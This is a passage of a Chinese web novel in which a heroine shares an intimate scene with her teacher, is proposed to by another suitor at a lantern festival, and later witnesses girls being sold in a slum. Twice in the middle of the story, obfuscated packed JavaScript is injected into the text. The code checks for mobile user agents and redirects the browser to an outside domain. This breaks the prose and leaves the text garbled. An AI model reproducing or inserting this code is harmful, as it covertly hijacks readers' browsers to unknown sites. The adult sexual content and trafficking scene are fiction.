我咬着牙忍耐着,等柳砚清抱着我走进一个像是马车车舆的地方,把我轻轻放下。 渴望到濒临崩溃,我终于忍无可忍,失去了思考能力,忘了什么道德伦理,勾上柳砚清的脖颈拉到自己面前开始啃食。 柳砚清没有拒绝我,如板上的羔羊任我处置。 我抓起柳砚清的手,放在脸庞,像猫一样不断蹭着蘸取他的气味。 “好冰!师尊你的手,怎么都不热……” 柳砚清的手被我蛮横地禁锢着,只好勉强动动指尖,摩擦我的脸。 “忍一忍。” 受不了了……忍不了一点…… 双手撑在不断起伏的胸膛上,汗水已经浸湿了他的衣裳,滚烫的热度不断刺激我的理智。 “师尊……好热……” 唇瓣相贴,我毫无顾虑地撬开他的牙关,舌尖席卷着他,吸食着他的味道。 还不够……还不够…… 随即升上来愈发疯狂的渴望,我好像快无法控制自己,头脑和四肢都不属于我一般,有一个恶魔在身后操控着我,驱使着我向他索要更多。 我抓着柳砚清的衣襟,奋力一扯,天青色衣裳下的胸膛赫然出现在我眼前。不带一点犹豫,我低下头又继续啃咬着他,满足我无底洞般的欲望。 柳砚清直直地躺在身下,红晕从耳根一路蔓延至脖颈。滚烫的呼吸一下一下打我的头顶,滚烫的身体微微颤抖着,不安的双手时而放在我的腰间,时而与我十指相扣。 天旋地转,星河倒灌。 一副从未见过的表情倏然间出现在柳砚清脸上。 说不清是痒还是疼,我忍不住动了动,却又马上被柳砚清钳住肩头压住,左右动弹不得,我只好抓过一旁不知是谁的衣裳咬在嘴里。 嘴里不时发出支支吾吾的声音,没人听清我说的什么。也不晓得置身何处,我死死咬着,努力克制自己。 柳砚清停下来,使劲儿拽走了我咬住不放的衣裳。 “没人听见。” “怎……么……怎么会……” “这辆马车内已经不在人间。我们现在在人界和神界的交界处,神和人都听不见我们的声音。” 我已无暇感慨,信了柳砚清的话,决定放纵自己,展露本能,毫不客气地索取、祈求。 柳砚清……应该也沦陷在这场浩劫中吧。 恍惚间,摇摇晃晃中,偶然映现柳砚清的脸。红得滴血的耳朵,被汗水打湿的皮肤,躯体流畅完美地线条以及……不是痛苦的喘息声。 这时候叫他师尊……会不会适得其反啊? 随着腰杆逐渐酸痛,意识恢复了些,我开始冒出不切实际的念头。 “师……” 我喃喃着,没敢太大声。 柳砚清埋着头扬起来,朦胧的眼神迎上来,失了平日里的清冷,此刻的柳砚清哪里还像医鹿山上受众人敬仰崇拜的妙手回春的神仙,饿狼一般的眼神像是不将我吃干抹尽不罢休,诱得人不禁咽了口水。 “什么?” “什……么?” “……” 那双黑沉沉的眼睛盯着我,无奈地皱了皱,埋头靠上我的肩颈处,环住我的双臂收紧,两人之间瞬间没了距离。 “不许叫我师尊。” 昏暗的马舆内,无人再说话,只留下一片交织的旖旎。 13. 蓦然回首 人头攒动的街市上,琳琅满目,好不热闹。 这还是我第一次光顾光州的彩灯节,一大早就摇着闻笙带我来。 窗外的鸟鸣吵醒我,我睁眼看了下窗户透出的光——约定的日子到了! “起床起床!” 我摇晃着身边,侧躺着身子,还闭着眼一脸傻笑没醒过来的闻笙。 “今天彩灯节!咱们得成为专挑人多的日子,去凑热闹的无聊路人。” 闻笙轻笑着,伸长手臂将我捞进怀里躺在他的臂弯里,我的头枕着他的胸口,眼看这个人又要睡着了。 “闻笙!晚上回来再继续睡!” “晚上回来那就不叫继续睡了。” 我戳着闻笙身前露出的皮肤,扭动着身体非要把他吵醒。 闻笙拗不过我,双手环过我的腰,紧贴着我,贪婪地最后蹭了蹭我,才舍得起身,就着这个姿势抱着我一起下床洗漱。 在我们的小院里,我啃着手里的窝头,盯着院外闻笙为我种下的竹林,盯着林间穿梭的麻雀发愣。 早晨的清香弥漫,嗅得淡淡的竹香。露水的味道还留有些,我后仰靠上竹椅的靠背,细嚼慢咽手里的早餐。 闻笙端来两碗热汤,放在两把竹椅中间的方桌上,同我一起无声地享受着片刻的宁静。 换做平日的早晨,这儿可不会这么安静。上学的孩子不直接去书堂,而是先来呼叫先生,然后一群娃娃和先生一道去书堂。 记得刚来竹村时,闻笙家的院子就是教孩子们知识的学堂。若不是见我住进去教书不方便,村民也不会自发建一座学堂吧。 “先生还得谢谢我呢。” 听到我的声音,闻笙缓缓放下手,将汤碗放回桌上。 “谢谢姑娘?但是这汤和窝头都是我做的吧。” “没说眼前吃的……嗯——明早换我来。” 我偷偷撇嘴,懒懒的靠在竹椅上晃荡着两条腿。 “在下先谢过姑娘,辛苦你早起啦。” 我对上他一副得逞的笑脸,刚想抬手吓唬他,就见他先抬手伸向我脸庞。我一下愣住,手停悬在半空。 “留些肚子,今天去城中吃好吃的。” 他温和细致地替我擦去嘴角的窝头屑。 我舔着嘴角,咂咂嘴。 “光州有什么好吃的?” “嗯——” 闻笙沉吟。 “若是不挑剔的话,可大饱口福。” 想到今天能一睹光州名声远扬的彩灯会,用过早餐我便重回房翻找今日的穿搭。就你了,杏子色的交领长裙。不过怕晚些降温会冷,我又加了件外套。 “闻笙?” 他单脚跨过门槛,手附上门板,像是刚到门口的样子看向我。 “帮我梳头发?” 我举了举手上的木梳,向他发起邀请。 闻笙微微怔愣,随即眯眼笑了。 “我没试过女子的发髻。” 本以为他会拒绝,没想到,他又接着说道—— “不过我可以试试。” 铜镜前,我端坐在椅子上,闻笙站在我的身后,盯着我的头发思考了好一会儿。兴许在想给我弄什么发髻,或者在回忆平日里我给自己梳的样子。 看着闻笙苦恼的样子,我忍住没笑出声。 “简单盘起来就行,不用想得太复杂。” 良久,他终于有了动作。低头先用木梳替我梳理了一下头发。从发端道发尾,从头顶到腰下方。 我仰头望着他。 “想好了?” “嗯。” 闻笙轻轻按着我的头将其摆正。 “我最喜欢的样子。” 我一时没明白他口中最喜欢的样子是什么样子。直到发髻梳理完毕,我打量着铜镜里自己,恍惚了好久才回忆起来——这是我们初见日,学堂的角落,闻笙和我初次搭话那天我梳的发髻。 整个光州沉浸在节日的氛围中,满是熙攘与热闹声。 潮水般的人流中,闻笙紧紧攥住我的手,时刻不离。 “早就听闻光州的彩灯节,亲眼一见……热闹过头了啊。” 不过一个小小的节日,况且春节刚过不久,不该有这么多人才对啊。完完全全超出了我的预期。每一个摊位前、店铺里挤满了人,想凑近看看都得排队。 我们牵着彼此的手,漫无目的地在光州城里瞎逛。我们尽量避开人群密集的地方,穿街走巷,只是这样也不错。 在竹村生活了两个月,还是我第一次到竹村以外的地方。对一切事物都充满了新鲜和好奇。瞎逛也兴趣盎然。 闻笙环顾了一下四周,牵着我就要往一间特殊的店铺里走。 “你饿了吗?” 闻笙笑着没回答我。 进门后我才恍然大悟——不是饭店,是一间饰品工坊。 守在店铺的姑娘迎上来,热情地不由分说开始介绍当季的新品。 “哇!发簪!” 我满怀期待地接过店员递过来的发簪,捧在手心。 “小姐喜欢的话可以试戴。不仅如此,我们这儿还可以手把手教学,亲手做一支独一无二的发簪。” “还可以亲手制作吗!” 我激动地看看店员,又看向身边始终默默陪着我的闻笙。 见我抑制不住的兴奋,闻笙笑着,温柔的指尖捋了捋我侧脸有些凌乱的发丝。 “听你的。” 穿过一道拱门后,店铺深处的景象大不同前,偌大的房间里摆满了四排桌子,且堆满了制作饰品所需的材料。 店员细心地给我们介绍每一样工具的用途和使用方法,光是钳子都有好几种,尖头的、圆头的、扁平的……除了插头发上的,脖子手腕上戴的,你能想象出来的都能实现。 “不过初学者可以从简单的入手,例如发簪和手链。” 说话间,店员递给我和闻笙一人一条围裙系上,同时领我们到了角落一张摆着纸笔的桌子。 “在制作前,二位可以先在此画设计图,而后去那边的制作台进行制作。” 介绍完毕,只剩下两个人握着笔迟迟无法下笔。 太强人所难了,尤其是我这字不会写画不会绘的人。 对了,铺子里摆了制作好的成品,不如参考参考。 丢下闻笙,我转身跑出探查一番后,照葫芦画瓢画了个……歪歪扭扭的……应该是同款的配饰。 当我重返制作台时,闻笙已经画好设计图正摆弄着桌上摆满了的制作发簪需要的材料。 为了满足我的好奇心,以及偷看不被发现,我小心地凑到闻笙身后。 “嗯?” 脱口而出的疑虑瞬间暴露了自己。 闻笙惊讶地回过头,丝毫没有藏掖手里设计图的打算。 “就,竹叶?” 他眯起眼,满脸自豪地欣赏着自己的“大作”——三片竹叶。 “没错。” “这能叫设计图吗?” “设计给自己看的图,自己能看懂就行啦。” 有道理,我竟无话反驳。 闻笙的目光不动声色地送我手里的设计图纸上划过,浅浅的笑意浮上唇角。 “看了我的,也该我看你的了。” 听他话里的调侃,我心里一咯噔。紧拽着手里的潦草的设计图,内心五味杂陈。丢人现眼的,还是别给他看了。 只是三片竹叶,闻笙居然画出别样的韵味。相比我的……什么妖魔鬼怪。 “你画的不算设计图,不给看。” 我下意识把纸藏于身后。 闻笙轻轻叹了口气,唇角却微微牵了牵。 “期待你的成果。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078501|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然被闻笙的话鼓励,但面对桌上的铜线、玉石、珠子、银饰,我全然不知从何下手。相邻座位的闻笙似乎没有这方面的烦恼,有条不紊地进行制作。繁杂的制作台上,旁人都成双结对有说有笑的进行,只有我们,不对,只有闻笙,一脸正经严肃的样子,看起来格格不入。 明明都是初学者,他却显得很轻松。 我本想和他也说些什么,但看他认真地模样,转念一想又放弃了。 平日休息日,尤其是阳光好的日子,我们都喜欢坐在院子里,闻笙捧着书,而我晒着太阳午睡,互不打扰,岁月静好。 察觉到我在偷看,闻笙只瞥了我一眼,笑着继续手里的活儿。 我也该认真起来了! 从工坊出来时,夕阳的余晖已经降落到了天边,光州为彩灯节准备了数千盏明灯徐徐燃起。 两个人早饥肠辘辘,直奔主题。在饭店二楼靠窗的位置坐下,便于看夜景也能听清台上说书人的故事。 掌声响起,说书人应声登台,鞠躬致意后,讲述起今天的故事。 “蓬莱仙岛,以往过去我们都称之为“神仙居住的地方”,世间根本没人见过。见过的人呢也被神仙抹去了记忆。盘古开天辟地,神创世之初,所有的神仙都居住在蓬莱仙岛。后来都去天宫了。现在仙岛上住了一位掌管世间生灵的大仙,以及大仙有四个孩子,“东南西北”四位仙子。令大仙最头疼的就是这个四位仙子最小的‘南’,贪玩儿,三天两头往人间跑,次次把自己落得一身伤。大仙头疼啊,可心疼女儿舍不得关起来。只好命人在人间处处供奉他的神像,以便大仙随时看着小女儿……” 再回小院,已是夜深人静。 没了困意,闻笙亦未寝,我便拉着他在小院里赏月。十五的月亮,十四圆。明月照亮了山村,给相依之人镀上一层银色的轮廓。 我靠在闻笙的肩头,忽而想起怀里的东西,将今日做的成果举到闻笙面前,笑眯眯地眨了眨眼睛。 “送你。” 闻笙眼里闪过一丝惊喜,抬手接过玉佩,然后拿出一支镶嵌着翠绿色竹叶的发簪。 “送你的。” 我忍不住噗嗤一声笑了。 “都是早有准备啊。” 毕竟是第一次做如此繁复的手工,自然迫不及待送给自己的心上人。 端详着闻笙送我的发簪,越看越觉得不对劲…… 我迟疑了片刻,还是将自己的疑惑问了出来。 “先生确定是第一次制作吗?如此精致,哪里有初学者的味道?” 闻笙偏过头,目光撞进我有些怀疑的神情,大大方方地承认了。 “我没说自己是初次吧。还在信州时,曾跟一位老师傅学习过。” “原来在我们相识之前,先生就开始为这天做准备了呢。” 我打趣道。 闻笙双眼定定地注视着我,唇畔扬起明朗的弧度。 “初心是迫不得已,不过眼下……我很庆幸。” 低沉的嗓音清晰得丝丝入耳,他的手扣住我的,暖意从掌心传来,暖了泛起凉意的夜。 “我心已许。” 我愣了一下,直到他扣住我的手紧了紧,才意识到他是在——向我告白。 “我愿每一天都替你梳发,为你准备三餐,陪你在小院看日升日落……” 我的另一只手里还握着他亲手制作的发簪,他抬起空出的手和我一起握住发簪。 “以此簪为凭,不知姑娘,可愿余生与我共进?” 听着面前郑重许下誓言的人,我下意识伸出双臂环绕住他,在他唇上啄了一下。 “君子一言……” 闻笙顿了一下,猛地凑近,在两个人的唇几乎快触碰的地方停下, “此生不换。” 话音落下,一切归于这个漫长缱绻辗转不休的吻。 14. 险象环生 我在黑暗中沉浮。 见到了一棵开满白梅的树,比医鹿山那片梅林里的任何一棵都开得盛。 当我靠近时,梅树的枝条开始延伸,将我圈住。枝条散发着热意,如人的体温一般温暖。嗅着花香,我沉迷其中。 忽而,我听到了一个遥远的声音。 “醒过来。” 我下意识想答应,额头突然被一条靠近的树枝弹了一下。 我猛地睁开了眼睛。 依稀记得,昨晚我被人偷袭掳走,关在一间伸手不见五指的深坑。情急之下呼叫了柳砚清,然后被他走上一辆马车。翻云覆雨后靠在他怀里睡过了过去…… 所以……我在哪儿? 庆幸这次醒过来脑中还存有记忆,但陌生的环境让我瞬间保持警惕,开始环视整间屋子。书架、书案、铜镜、衣杆、屏风……一眼便能望尽的户内,陈设简洁明了。 我走进书架,摆满了历朝历代文献书籍。取下任意一本书翻阅,熟悉的字迹。为了应证我的猜想,我找到放在最中央位置的《诗经》,快速翻到《齐风》一页。 为什么我现在会在竹村闻笙的家里?柳砚清送我回来的?他见过闻笙了?闻笙人在光州,他们互不认识,是怎么…… 想不明白,根本想不明白。 “你醒了?” 推门而入的人正是屋子的主人,我倒在此刻成了像是入室行窃的不法分子。手忙脚乱,把手里的书赶紧塞回去。 “闻、闻笙?!你怎么在这儿?” 听到我的话,闻笙的脸上现出一种微妙而恍惚的表情,但只是一霎,他又浅浅对我一笑。 “这里是我家,竹村。” 与我猜测的没错。 随即又想到,昨晚被掳走后闻笙一定满城的找我,他又如何知道我的下落? “你昨晚,从光州怎么回来的?” 闻笙走到我的身边,扶着我肩膀将我带至桌前安置坐好,习惯性地拿起桌上的木梳为我梳理头发。毛糙的头发,醒来忙着“破案”,都忘记打理一下。 “我找了你一晚上。然后一位道长找到我说,知道你在哪儿。于是,带着我和你回到了竹村。” 闻笙口中的道长一定是柳砚清。 “那位道长呢?走了吧?” 我一面祈祷着柳砚清已经离开,一面又希望他还在,至少等我道个谢见上一面。 我怕他见到闻笙,问起关于闻笙和我的事情。以我这张笨嘴,绝对解释不清楚。 “道长在的。” 闻笙话一出,我心中微动,喜也不是急也不是。 干脆的脚步声在屋门口响起,木梳顿在发间,我和闻笙同时望向单手背在身后冷冷俯瞰一切的柳砚清。 我从椅子上慌忙站起身,冲着不远处之人喊道。 “师尊!嗯——可以叫师尊吗?” “不许叫我师尊。” 面前的两人你一言我一句,而闻笙的表情纹丝未变,他甚至还朝前一步,站在我的斜前方,拱手行礼。 “原来是阿齐的师尊。先前招待不周,还请师尊见谅。” 我愣在原地,瞪大的双眼在闻笙和柳砚清之间来回切换。 阿齐,是我吗?是吧,我现在叫齐风。 柳砚清意味深长地看向我,他刚看过来,我便不争气地把头别向另一处。 窗外晴空万里,从远处竹林时不时传来几声啁啾鸟鸣,颇有春日生机勃勃的气象。 反观屋内——一座冰山骇人的寒气,屋内似乎结了一层肉眼不可见的寒冰。而冰山的对面,是不惧寒冬,逆境生长的竹。双方气势不分上下,静默中,默默燃起点点星火。 心头怦怦乱跳,一个可怕的猜想在我脑中逐渐显现——如果打起来,我帮哪边? 帮闻笙?他看上去比较弱,气血不足,应该处于劣势。 帮柳砚清?毕竟是救命恩人,一日为师终身为父。 一时之间,难以抉择。 柳砚清冰冷的声音瞬间拉回我的思绪。 “阿齐?” 冰冷的两个字如同冰柱坠落湖面,激不起太大的涟漪,却正好刺穿水面下一条无辜的鱼。 情况不妙!不做点什么,恐怕真会打起来! 我毫不犹豫冲到门口,拉起柳砚清的手腕将他带走。 “啊啊啊啊!师尊!好久不见,我有话跟你说!我们,借一步说话。” 刚到小院,柳砚清冷不丁地开始质问起我。 “所以,阿齐是哪位?” 我傻笑着抬手指了指自己。 “是我。” 柳砚清的眼中闪过错愕,但很快被平静寻常的清冷替代。 我继续解释道:“闻笙的的确确是重生便认识我的,是我找到的第一个男人。但应该不是最终答案,因为在得知‘齐风’这个名字时,我的记忆并没有恢复。” 解释完毕,我以为柳砚清会一如既往表现出无奈。沉吟片刻,只见他眸光更沉,抬脚朝我逼近。 “你是不是有什么事没有告诉我?” 我还来不及后退,他已经钳住我的手腕,不容我退缩。 “有吗?对你我从来知无不言,没有秘密。” 正午阳光洒落在他墨黑的长发上,闪烁着耀眼光芒,我却不敢看他,眼神闪躲。 “第一个男人。既然有编号,那说明——还会有第二个男人,第三个男人……这是神像派给你的任务?还是你下山贪图男色享乐的计划?” 我看上去像那种人吗? 这个念头让我莫名有些生气,但一想到我重生前和九个男人邂逅,顿时无力辩解。 “这个嘛……关乎天机,不可泄露。” “既然不肯说,我只好现在就带你回医鹿山。” 他忽然语气强硬,我怔了怔,赶忙摇头。 “诶?!不行不行!任务还没结束呢!你明明答应我的!” “你也过答应我,不和来路不明的男人瞎跑。” 一高一低的声音相互争辩着,我仰头不服输地盯着柳砚清,他俨然如一座冰山居高临下地看着我。 “哪儿有来路不明,哪儿瞎跑了……” 我撇着嘴小声嘀咕,再说我记得当时我乖乖闭嘴,没有答应的好吧。 柳砚清抱着双臂静静地盯着我,眼神中有说不清的凛冽,如利刃般死死盯着我。 犹豫之后,他还是放下姿态,用轻柔不带怒气的声音问我。 “所以你们,什么关系?” 难得见到柳砚清露出不安,我心头窃喜。 “朋友,友人。” “没有做过亲密的举动?例如——接吻。” 手指抽了一下,心头也紧了一下,不敢丝毫怠慢,我快速回答了这个问题的标准答案—— “没有。” 听我这么说,柳砚清沉了沉眼。 “你说谎了。” 额……很明显吗? 我有些心虚地缩了缩脑袋,抓上柳砚清的袖口。 “对不起,当时情况特殊……” 柳砚清吝啬地抽走我抓住的袖口,唇角往下沉了一丝弧度。 “和别的男人出门游乐,遭遇歹徒,却求我救你——” 凝视的目光突然在我眼前放大。 “你在呼唤我的名字前,有喊过其他人的名字吧。” 阳光被柳砚清挡在身后,眉眼间的情绪一览无余。是质问,也是嫉妒。如同我在医鹿山,无数次嫉妒过去的自己那般。心头升起一丝雀跃,我抿了抿嘴唇。 “没有。” 这次,他勾起一边的唇角,冰冷的手指弯曲在我额头上叩了叩。 “你又说谎了。” “对不起……情况特殊嘛……” 低头认错,我偷偷瞥向柳砚清。肉眼可见,他的心情好了些。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078502|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不等我反应过来,沁人心脾的药香猝不及防占据我的鼻腔,嘴角上被他蜻蜓点水般吻了一下。 正当我惊喜柳砚清竟然主动吻我时,屋子的门被推开,闻笙手臂上挂着熟悉的白色披风朝我们走来。我赶忙跳开几步远,和柳砚清拉开距离。 “想到你只穿了件单衣,送件长衫来穿上。” 不等我接过手,闻笙走到我面前,亲手替我披上长衫。 “谢谢……” 看看情况啊喂!您是故意来雪上加霜的吗!刚哄好,全前功尽弃了啊! 替我整理穿好衣裳,闻笙转向一旁面色难看的柳砚清。 “道长千里迢迢赶来,想必舟车劳顿。竹村没有可留宿的客栈,不如道长趁着白日,可去光州内歇下。” 哇,闻笙居然如此直白地下逐客令,太强了吧! “叨扰已久,确实该动身离开了。” 柳砚清再次看向我。 “和我走吗?” 微风将他的话语吹落耳畔,深邃的黑子眸子里映出我举棋不定的脸。我望着他,欲言又止。 但这瞬间,余光瞥见了闻笙平静微笑的脸。 我清楚地意识到——我不能离开。 “我还有未完成之事。” 柳砚清的唇微微抿起,失望之余略显无奈,眸光看了看我的脸,转而落在我的手腕。 “手链,保管好。” 我抬起手腕晃了晃手链的玉,扬了扬下巴。 “嗯,放心吧。” 热烈的阳光穿破云层,竹林间清脆的鸟鸣穿越天际。目送柳砚清登上马车离开,我愣在路边迟迟不肯离开,直到马车彻底从视野里消失。 身旁的闻笙静静地陪着我,看着我。良久,才出声询问。 “他,真的是你师尊吗?” 我缓缓看向他,摆出理所当然的样子。 “是啊。医药方面的知识,都是他教给我的。” 他的表情闪过一丝失落,随即弯起眉眼。 “这样啊。” 明明已经相伴数日,我还是无法看清闻笙的内心。总是在快要捕捉到情绪变化时,被他用笑掩盖。 我咬了咬唇,转移话题。 “阿齐?你以前是这样叫我的吗?” 闻笙点了点头。 “起初一直唤你风姑娘。慢慢熟络以后,你说可以唤你阿齐。” “有点像男孩子的名字。” 我打趣着自己取的称呼。闻笙垂下眼眸,稍作思考后问道—— “那不如唤你,风?” 柳砚清也唤我风。 不是没想过在我醒过来之前,柳砚清和闻笙有过一番交谈。或者说,他们一定谈论过什么关于我的事情。 虽说叫什么无所谓,但又想到这两人都唤我风,总感觉怪异得很。 最后,我只好朝他露出一个不太满意的表情。 “还是阿齐吧,我挺喜欢的。” 听完,闻笙露出些许笑意,转瞬即逝,低声沉吟。 “是因为他唤你风吗……” 我不由愣住,声音太小,我没听清他说了什么。我迷惘地抬起头看向他。 “你说什么?我没听清。” 闻笙不由莞尔,垂下眼眸。 “没什么。” 推门入室,见我还披散着头发,闻笙拉着我继续刚才没完成的梳发。 “对了,关于昨天对你下手的人,还有印象吗?有什么特点?” 我忖度着,努力回忆昨晚的情况。 “除了弹琴的姑娘,没有看清另外一个人的脸。不过被囚禁期间,我一直听见有妇女孩童的求救声和哭啼声……持续了很久。还有身上奇怪粘手的液体,到底是什么……” 闻笙轻抚我的后背。 “明天我们去光州探一探。或许,能找到在巷子里弹琴的那名女子。寻找线索,一路追查,一定会有所发现。” 15. 人间地府 光州,醉月楼。 时间飞速流转,思绪随着亮起的华灯回到眼前,楼台上的演出如约而至。 我站在人潮涌动的街上,紧盯着醉月楼的入口。不远处揽客的伙计见我从下午一直盯梢,阻碍了他揽客,三番五次上来对我下逐客令。 “快走吧。你都站这儿一下午了,诗诗姑娘今天很忙,没空见你。” “她不可能没有。我有的是时间等她,不急。” 我依旧保持杵在原地不动,伙计没辙只好又返回去招揽过路的客人。 三个时辰前。 抵达光州,我和闻笙打算从昨晚出事的地方开始搜寻线索。 白日里的巷子,阳光依旧照不进去,阴暗狭窄,过路人根本不会注意到。 我走到前日少女弹琴的地方,给闻笙现场重现了案发时发生的一切。 “弹琴、偷袭、拐骗……” 闻笙口中整理出故事的关键词,试图从以往听过的案件中找出类似。 但都无济于事。 “他们目标明确,算准了我会来此。所以他们一开始就盯上了我,潜伏于此。恐怕对方不止两个人,或者更多。弹琴的少女和伤我的人应该只是派来做事的下手,幕后一定有指使他们的人。” 我下意识将心头的疑虑一股脑地抛出。 从什么时候?是什么人?我来光州不过两日,能和谁结下仇…… 我突然心头一紧,扣住身旁闻笙的手腕。 闻笙面露诧异,想抽出手安慰我,却被我扣得更紧。 一个名字骤然出现在脑海。 闻笙弯下腰,抬起另一只手轻轻把我的鬓发别到耳后,神情平静而放松,轻柔地动作安抚着我。那双深邃的眼眸在我面前放大,让我能看清焦虑不安的自己。 “平心静气,还记得吗?” 平心静气,不可乱了心神,是柳砚清时刻提醒我的话。 闻笙的唇角向上扬起,春风化雨般化解了我心头的愁绪。 下一秒,一位佝偻着背、乞丐打扮的男孩儿突然出现,站在巷口拦住了我们的出路。 “两位,找人吗?” 低沉的声音顺着巷道传入耳畔。 男孩看上去不过八九岁,但是失了纯真少年的嗓音,冰冷,没有温度。 “你是……?” “找人的话,这里是找不到的。” 男孩儿并未回答我们的问题,但他知道我们在找人。特意找上门,既如此,他一定知道什么。 我望向闻笙,在他的神情中读出了和我同样的想法。 交换过眼神,我移回目光,语气保持着怀疑。 “你知道我们在找谁?” “前天,我看到了。” 对方话音落下,消瘦的手臂抬起指向我。我轻挑眉,迈开步子朝他走去。一旁的闻笙本想拉住我,被我轻易躲开。 “你看到了什么?” 我步步逼近,男孩儿毫不怯懦,站在原地直到我与他只差一步之遥,居高临下的,以大人的姿态俯瞰他。 此刻街上风清日暖,热闹的街道来来往往,没人会注意到路旁的巷子口正上演什么。 男孩儿一脸平静从容不迫。肮脏褴褛的衣裳上不知沾上了什么,散发出阵阵恶臭。面部和四肢随处可见新旧相交的伤痕。布满血色的眼里,是不属于他这个年龄的坚毅。 我冷笑一声,手伸向腰间的锦囊。男孩儿看我有了动作,一下警觉起来,眉头微蹙,手中的拳头也攥紧些。 我取下锦囊,随着手部动作,锦囊被抛出精确的弧度,稳稳落在男孩儿懵懂伸出的掌心。 “治愈伤疤的药,把伤口处的泥擦洗后再涂。” 男孩接下锦囊,手指渐渐收紧。 “你和我去个地方。” 越过我,他又看向身后的闻笙。 “但他不可以。” 闻笙显然不会同意,径直走我身边,拉着我的手腕将我带往身后。 一大一小两人用眼神作斗争。 我反手握住闻笙的指尖,冲他露出灿烂的笑。 “放心吧,我不会有事的。” 闻笙还想说什么,一脸担忧地看着我。我踮起脚尖,在他唇角轻点一吻。 穿过一处挤满听众的勾栏,离开主街道,路线逐渐偏离向城郊。 没有过很久,大概一刻钟的样子。男孩儿领着我走进了一个隐匿城郊流民安置区一处茅房背后,杂乱无章的小院。 用力拉开全是毛刺的破烂门,小院四面由泥土砌成的矮墙,摇摇欲坠的干草棚下,坐着躺着十几个衣衫褴褛病恹恹的男女老少。吃剩的饭菜和沾满污垢的破布肆意堆放在一起,远离人群的角落还有一滩发出恶臭的东西。草棚的对面,有一口被木板和钉子封禁的井。 难闻的味道与眼前混乱的场景不断刺激着我的感官。 我忍不住干呕,可被十几双眼睛盯着,我不由心头发冷,生生憋回去。 我不敢再深入院子,更不敢靠近草棚。眼看着男孩儿走到人群边,和他们说了什么,回转过头与我对视。 他的眼神,是叫我过去? 我沉默了几秒,目光在男孩儿和其他人之间来回扫视,最终选择朝他们走去。 草棚下的味道比我想的还要糟糕,浓烈的恶臭熏得我几乎要呕出来。十几双眼睛都如同蒙上了一层灰,呆滞地看着我。 男孩儿抬手指了指其中最年长的,躺在脏污的衣裳堆里的男人老人家面色苍白,嘴唇干裂留有血渍。 “爷爷已经烧了好几天,一直没有好转。” 他又指向一旁中年女人怀里护在襁褓的婴儿。 “她也发烧了。恐怕是被传染的。” 一圈下来,除了男孩儿本人,其余十一个人都不同程度的病了伤了。我本以为他们是一家人,一番介绍后,得知都是无钱医治,被家人丢弃于此的。他们互不认识,借着彼此的暖意挨过了冬天,却无法迎来春天。 这里是光州的暗黑之地,没人会靠近这里。这里,只有安静等待死亡之人。 “所以你叫我来是……” 男孩儿卸下之前的坚毅,用那双沾满泥泞的手抓住我的手,逐渐发抖。 黑乎乎的小手只敢抓住我的指尖,黏黏腻腻的,我也没有甩开他的手。颤抖的身体,头埋着,和巷子口那个小大人一般的孩子判若两人。 我蹲下身,抬手压了压男孩头顶因为长时间不清洗凝固的蓬头。 “谢谢你相信我。” 我收回手。 “可我做不到。我不是医者,只是认得一些草药。我不敢擅自为你们诊病,也不敢轻易给你们开方子。” 男孩儿怔怔抬头,一时什么都没说出口。 如同过去无数次被拒绝一样,男孩儿打开我送他的锦囊,拿出里面我做的药膏。一言不发,走到一位身上有明显挨打痕迹的男人面前,将膏药递给他。 “我送姑娘出去吧。” 起初我没反应过来,直到望着男孩儿走向院门,我才犹豫着跟上他。 看着男孩儿一路前行的背影,一股熟悉感涌了上来。 好像曾经也发生过诸如此类的事情——走在前面的人衣裳青绿色,头顶官帽,安抚着流离失所的人,许诺他的百姓。 在即将走出济民区时,男孩儿突然停了下来。 “我跟姑娘说谎了。” 我有些疑惑地看着他。 “前天,我并没有目睹发生了什么。只是在街上与你擦肩而过时,闻到了你身上的药草味儿,以为你是医者,所以欺骗你到这儿。爷爷和小乖病得严重,我四处求医,可大家刚到这儿就逃走了。” 我停住脚,回头又望向那间院子的方位。 灰蒙蒙的天空,没有烟火味儿的人间地府,被至亲之人抛弃,被世间抛弃。 我不禁想起柳砚清将医术送到我手里的时说的话。 我为什么学医,为什么苦心跟在柳砚清身边五个月日夜钻研。他要求我背诵的,罚我抄写的,都是为了什么。 多一个赚钱养活自己的门道?不对吧。 医者,不该只是一份挣钱养家的职业。 我咬着唇蹲下身,牵起瘦弱的小手。 “虽然我不能帮你们,但是……我不会就此放弃。” 他冲我扬起脸笑了笑,却是苦笑。 “不必了,谢谢姑娘。反正我们,没有多少时间了。” “什么意思?” 我没明白他的意思。 突然,身后的转角处,三个牛高马大的男人扛着三名手脚被麻绳拴住,人已经彻底晕过去的少女,快速奔向隐蔽处停着的一辆马车。 “你们干什么!光天化日还敢强抢民女吗!放开她!” 我大声喝斥着,快速冲到三个大男人面前,张开双臂拦住他们。 “多管闲事!滚开滚开!” 躲闪不急,恶霸一脚踹在我的肚子上,身体不受控制地飞向一旁的土墙。头顶被砸落的灰尘蒙住我的双眼,身体剧烈地颤抖着,我虚弱地跌坐在地上,根本无法动弹。 我正要起身,追赶跑走的恶霸。男孩急匆匆向我跑来,拉住我的手臂,阻止了我。 “姑娘,别去!” “那三个妹妹——” “她们是被买走的!” 我难以置信地看着离去的背影,全身不停地颤抖,咬着牙吐出那个沉重的字。 “买?” 他的话如同一道锋芒刺入我的心里。 男孩点头。 